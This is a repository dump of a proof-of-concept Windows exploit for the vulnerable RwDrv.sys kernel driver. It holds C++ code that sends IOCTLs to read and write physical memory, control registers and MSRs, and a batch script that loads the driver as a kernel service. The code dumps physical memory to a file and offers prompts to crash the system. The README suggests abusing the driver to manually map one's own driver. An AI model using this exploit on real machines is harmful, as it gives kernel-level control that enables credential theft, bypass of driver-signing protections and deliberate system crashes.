├── ArbitaryPhysRW_RegManipulation_PoC.sln ├── ArbitaryPhysRW_RegManipulation_PoC ├── ArbitaryPhysRW_RegManipulation_PoC.cpp ├── ArbitaryPhysRW_RegManipulation_PoC.vcxproj ├── ArbitaryPhysRW_RegManipulation_PoC.vcxproj.filters └── ArbitaryPhysRW_RegManipulation_PoC.vcxproj.user ├── LICENSE ├── Load.bat └── README.md /ArbitaryPhysRW_RegManipulation_PoC.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31515.178 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ArbitaryPhysRW_RegManipulation_PoC", "ArbitaryPhysRW_RegManipulation_PoC\ArbitaryPhysRW_RegManipulation_PoC.vcxproj", "{6472CCE7-22B7-4130-B186-B39A4BD74669}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Debug|x64.ActiveCfg = Debug|x64 17 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Debug|x64.Build.0 = Debug|x64 18 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Debug|x86.ActiveCfg = Debug|Win32 19 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Debug|x86.Build.0 = Debug|Win32 20 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Release|x64.ActiveCfg = Release|x64 21 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Release|x64.Build.0 = Release|x64 22 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Release|x86.ActiveCfg = Release|Win32 23 | {6472CCE7-22B7-4130-B186-B39A4BD74669}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {78EEDB51-4A36-4BF2-B468-9D95AFAE7A58} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ArbitaryPhysRW_RegManipulation_PoC/ArbitaryPhysRW_RegManipulation_PoC.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | struct PhysRW_t 5 | { 6 | uint64_t PhysicalAddress; 7 | DWORD Size; 8 | DWORD Unknown; 9 | uint64_t Address; 10 | }; 11 | 12 | struct RegRW_t 13 | { 14 | DWORD Register; 15 | uint64_t Value; 16 | }; 17 | 18 | struct MSRRW_t 19 | { 20 | DWORD Low; 21 | DWORD Unknown; 22 | DWORD Register; 23 | DWORD High; 24 | }; 25 | 26 | #define LAST_IND(x,part_type) (sizeof(x)/sizeof(part_type) - 1) 27 | #define HIGH_IND(x,part_type) LAST_IND(x,part_type) 28 | #define LOW_IND(x,part_type) 0 29 | #define DWORDn(x, n) (*((DWORD*)&(x)+n)) 30 | #define HIDWORD(x) DWORDn(x,HIGH_IND(x,DWORD)) 31 | #define __PAIR64__(high, low) (((uint64_t) (high) << 32) | (uint32_t)(low)) 32 | 33 | 34 | class RwDrv 35 | { 36 | public: 37 | RwDrv() 38 | { 39 | h = CreateFileA("\\\\.\\RwDrv", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 40 | if (h == INVALID_HANDLE_VALUE) 41 | { 42 | printf("Driver Not Loaded!\n"); 43 | Sleep(3000); 44 | exit(0); 45 | } 46 | } 47 | 48 | ~RwDrv() 49 | { 50 | CloseHandle(h); 51 | } 52 | 53 | void PhysicalRead(uint64_t Address, uint64_t* Address2, DWORD Size) 54 | { 55 | PhysRW_t A; 56 | 57 | A.PhysicalAddress = Address; 58 | A.Address = (uint64_t)Address2; 59 | A.Unknown = 0; 60 | A.Size = Size; 61 | 62 | DeviceIoControl(h, 0x222808, &A, sizeof(A), &A, sizeof(A), 0, 0); 63 | } 64 | 65 | void PhysicalWrite(uint64_t Address, uint64_t* Address2, DWORD Size) 66 | { 67 | PhysRW_t A; 68 | 69 | A.PhysicalAddress = Address; 70 | A.Address = (uint64_t)Address2; 71 | A.Unknown = 0; 72 | A.Size = Size; 73 | 74 | DeviceIoControl(h, 0x22280C, &A, sizeof(A), 0, 0, 0, 0); 75 | } 76 | 77 | // CR0: 0, CR2: 2, CR3: 3, CR4: 4, IRQL: 8 78 | void ReadControlRegister(int Register, uint64_t* Value) 79 | { 80 | RegRW_t A; 81 | 82 | A.Register = Register; 83 | A.Value = 0; 84 | 85 | DeviceIoControl(h, 0x22286C, &A, sizeof(A), &A, sizeof(A), 0, 0); 86 | *Value = A.Value; 87 | } 88 | 89 | // CR0: 0, CR3: 3, CR4: 4, CR8: 8 90 | // Keep in mind that this function does NOT disable interrupts, meaning writing for example cr0 will result in a bsod. 91 | void WriteControlRegister(int Register, uint64_t Value) 92 | { 93 | RegRW_t A; 94 | 95 | A.Register = Register; 96 | A.Value = Value; 97 | 98 | DeviceIoControl(h, 0x222870, &A, sizeof(A), &A, sizeof(A), 0, 0); 99 | } 100 | 101 | // Read and write msr is very wierd in this driver, it splits the lower and higher bits of the value in the struct. 102 | void ReadMSR(int Register, uint64_t* Value) 103 | { 104 | MSRRW_t A; 105 | A.Register = Register; 106 | A.Low = 0; 107 | A.High = 0; 108 | 109 | DeviceIoControl(h, 0x222874, &A, sizeof(A), &A, sizeof(A), 0, 0); 110 | 111 | *Value = __PAIR64__(A.High, A.Low); 112 | } 113 | 114 | void WriteMSR(int Register, uint64_t Value) 115 | { 116 | MSRRW_t A; 117 | A.Register = Register; 118 | A.Low = *(DWORD*)&Value; 119 | A.High = HIDWORD(Value); 120 | 121 | DeviceIoControl(h, 0x22284C, &A, sizeof(A), &A, sizeof(A), 0, 0); 122 | } 123 | 124 | private: 125 | HANDLE h; 126 | }; 127 | 128 | 129 | void WriteFileToDisk(const char* FileName, uint64_t Buffer, DWORD Size) 130 | { 131 | std::ofstream File(FileName, std::ios::binary); 132 | File.write((char*)Buffer, Size); 133 | File.close(); 134 | } 135 | 136 | int main() 137 | { 138 | RwDrv* Drv = new RwDrv(); 139 | 140 | uint64_t CR0, CR2, CR3, CR4, IRQL; 141 | 142 | Drv->ReadControlRegister(0, &CR0); 143 | Drv->ReadControlRegister(2, &CR2); 144 | Drv->ReadControlRegister(3, &CR3); 145 | Drv->ReadControlRegister(4, &CR4); 146 | Drv->ReadControlRegister(8, &IRQL); 147 | 148 | printf("CR0: 0x%llx\n", CR0); 149 | printf("CR2: 0x%llx\n", CR2); 150 | printf("CR3: 0x%llx\n", CR3); 151 | printf("CR4: 0x%llx\n", CR4); 152 | printf("IRQL: 0x%llx\n", IRQL); 153 | 154 | DWORD SizeToDumpToDisk = 0xFFFF; 155 | uint64_t AllocatedTempMem = (uint64_t)VirtualAlloc(0, SizeToDumpToDisk, MEM_COMMIT, PAGE_READWRITE); 156 | 157 | // Read it in chunks of 8 bytes to save calls, you can read the entire page if you like to. 158 | for (int i = 0; i < (SizeToDumpToDisk / 8); i++) 159 | Drv->PhysicalRead(i * 8, (uint64_t*)(AllocatedTempMem + i * 8), 8); 160 | 161 | WriteFileToDisk("PhysMemDmp.bin", AllocatedTempMem, SizeToDumpToDisk); 162 | VirtualFree((void*)AllocatedTempMem, 0, MEM_RELEASE); 163 | 164 | 165 | int Ret = MessageBoxA(0, "Would you like to bsod via writing physical memory?", "Physical Memory Write Test", MB_ICONQUESTION | MB_YESNO); 166 | if (Ret == IDYES) 167 | { 168 | for (int i = 0; i < 0xFFFF; i++) 169 | Drv->PhysicalWrite(i * 4, (uint64_t*)&SizeToDumpToDisk, 4); 170 | } 171 | 172 | Ret = MessageBoxA(0, "Would you like to bsod via writing cr3?", "Control Register Write Test", MB_ICONQUESTION | MB_YESNO); 173 | if (Ret == IDYES) 174 | Drv->WriteControlRegister(3, 0); 175 | 176 | 177 | Sleep(-1); 178 | } 179 | -------------------------------------------------------------------------------- /ArbitaryPhysRW_RegManipulation_PoC/ArbitaryPhysRW_RegManipulation_PoC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {6472cce7-22b7-4130-b186-b39a4bd74669} 25 | ArbitaryPhysRWRegManipulationPoC 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /ArbitaryPhysRW_RegManipulation_PoC/ArbitaryPhysRW_RegManipulation_PoC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /ArbitaryPhysRW_RegManipulation_PoC/ArbitaryPhysRW_RegManipulation_PoC.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Xenia0 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Load.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | xcopy %~dp0RwDrv.sys C:\ 4 | sc create RwDrv binpath=C:\RwDrv.sys type=kernel 5 | sc start RwDrv 6 | 7 | echo Press Enter To Unload 8 | pause 9 | 10 | sc stop RwDrv 11 | sc delete RwDrv 12 | del /f C:\RwDrv.sys 13 | 14 | pause -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Arbitrary Physical Memory + Control Register Read Write 2 | 3 | So I found this driver in my downloads folder, and decided to give it a look in ida. Turns out this driver is very vulnerable as it provides full physical memory r/w, control register modification, pci read write, allocate + deallocate physical memory and more. I only wrote this PoC in 30 minutes and it has important functions like phys r/w, control register + msr r/w, you can take a look at this driver and abuse it to manual map your own driver and more. 4 | --------------------------------------------------------------------------------